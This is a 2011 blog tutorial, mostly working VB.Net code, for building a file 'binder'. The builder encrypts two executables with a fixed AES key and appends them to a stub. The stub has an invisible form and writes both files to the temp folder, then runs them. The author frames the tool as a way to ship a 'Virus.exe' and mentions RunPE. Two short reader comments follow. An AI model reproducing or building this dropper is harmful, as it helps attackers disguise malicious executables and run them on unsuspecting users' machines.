04 August, 2011

[VB.Net] The 'Real' Binder [Tutorial]

Thought I'd make a tutroial on how to make a effecient binder, much easier to understand then FilPut method.

To start off, make your form, add two textboxes and four buttons like so...

[Image: Bind.png?t=1270903575]

Don't worry about the RunPE textbox.

Now, add this at the top of your code:

Code:
Dim F, F2 As String
    Function Secure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function
    Function Unsecure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function

This is AeonHack's byte encryption.

Note: The 'Dim F, F2 As String' will be talked about soon.

Now double-click button one, this will be for choosing the primary file to open, we will create a new OpenFileDialog:

Code:
Dim O As New OpenFileDialog
  With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    TextBox1.Text = .FileName
    F = .SafeFileName
    End If
  End With

This part is used to determine which file to read all the bytes from.
F = .SafeFileName. This means it gets the filename of whatevers being loaded. I.e. Virus.exe Lol

Double-click the second button which should be your secondary file, and add this:

Code:
Dim O As New OpenFileDialog
  With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    TextBox2.Text = .FileName
    F2 = .SafeFileName
    End If
  End With

The only difference this time is TextBox1 has changed to TextBox2 and F to F2.

Now for the kool stuff hehe..

Double-click your merge button or bind button. Now we will create a new SaveFileDialog:

Code:
Try
    Dim S As New SaveFileDialog
    With S
    .FileName = "*.exe"
    .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose an output directory..."

This will define your SaveFileDailog.

Now when we click 'Ok' we want our program to bind these files together, so we will read all of the bytes from our two files, use AeonHack's byte encryption to make the bytes unreversable without the encryption key, convert those bytes into a string format, and then write it to our stub. We will add our stub soon.

Code:
If .ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim Sp As String = "[Splitter]"
    Dim Buffer As Byte() = My.Resources.Stub
    My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)

Here is where the stub is loaded, and written to the directory chosen by the SaveFileDialog. Since your stub hasn't been created yet, I suggest changing 'My.Resources.Stub' to 'Nothing' for now.

We declare two byte arrays, 'Dim File1 As Byte()' etc, and we read the bytes of the file, 'My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text")', and then we use the byte encryption 'Secure(My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text"))'. We do this twice becuse there are the two files to manage.

Code:
Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
    Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))

Now, thanks to Nathan72389 for the different binding/building method below, it's good to finally see a change in building codes.

Beneath is where most of the magic happens.

Code:
IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2)
    MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
    End If
    End With
  Catch ex As Exception
    MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
  End Try

This is where we open the file, go to the very end of the file, we add our Splitter first so we can distinguish the stub from the data being written to the stub, and then we add the data. The data goes as the following:

'Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2'

Splitter, String of Primary File, Split, Primary File Name, Split, String of Secondary File, Split, Secondary File Name.

The rest you should be unble to understand.

You have now created 50% of your binder!

For the stub, create a new project, name it stub or something, make it invisible by editting all the properties, I suggest making FormBorderStyle = None, Opacity = 0, and Size = 0, 0.

Add this code at the top under Public Class Form1:

Code:
Function Unsecure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function

This is used to decrypt the byte encryption put on the files.

Add a Try statement and declare a string used to refrence to the temporary files directory.

Code:
Try
    Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
    Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")

This is how the 'Drop' string array works.

Drop(0) will be your stub
Drop(1) will be your secured bytes of the first file that has been converted to string
Drop(2) will be the file name of the primary file
Drop(3) will be your secured bytes of the second file that has been converted to string
Drop(4) will be the file name of the secondary file

So what we want to do now is, get our files, convert them to byte array, decrypt them, and then write them to the temporary directory.

Code:
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
    Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))

We then want to write them to the temporary directory, and then run them.

Code:
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
    My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
    Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
  Catch ex As Exception
    Process.GetCurrentProcess.Kill()
  End Try
  Process.GetCurrentProcess.Kill()

We also kill the stub from running, else if you wanted to test out and delete the stub, it would not let you because it says it's in use.

Violah! You have just made a Binder! You are nearly there!

The next step, is to add your stub to your binder. In your stub project, go to Build->Build Stub, and when it has been built, go to the RELEASE folder, not debug folder. should be in something like 'X:\Users\Your User\Documents\Visual Studio 2010\Projects\Stub\Stub\bin\Release'. Your stub should be there.

Open up your binder, and in the solution explorer double-click My Project, Resources, Add Resource, Add Existing File. Change the filter to all files, and chose your stub. It is now loaded and ready to go. Don't forget to change back Dim Buffer As Byte() = Nothing back to Dim Buffer As Byte() = My.Resources.Stub.

You have created your binder!

As you can see, my binder has a seperate option, which opens that file and outputs them to a directory FULLY intact, so here you go:

Code:
Try
    Dim O As New OpenFileDialog
    With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim F As New FolderBrowserDialog
    F.Description = "Choose a output for the files..."
    If F.ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim Drop() As String = Split(IO.File.ReadAllText(.FileName), "[Splitter]")
    Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
    Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
    My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(2), File1, False)
    My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(4), File2, False)
    End If
    End If
    End With
  Catch ex As Exception
    MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
  End Try

To finish off, thanks for reading, and I hope you learnt something.

Due to too many requests for the full source code, I am now not giving it out. This is to stop skids. Full source will only be given to 1337s and ub3rs. Do not P.M me otherwise, I will not reply.

Leech all you like, it's all good (:

Labels:

2 Comments:

At June 29, 2012 at 12:15 PM , Anonymous Anonymous said...

thanks alot for the tut :)
a bit hard to understand Lol

 
At September 14, 2013 at 5:05 PM , Blogger Unknown said...

um, for me it says stub is not a member of resources...help

 

Post a Comment

Subscribe to Post Comments [Atom]

<< Home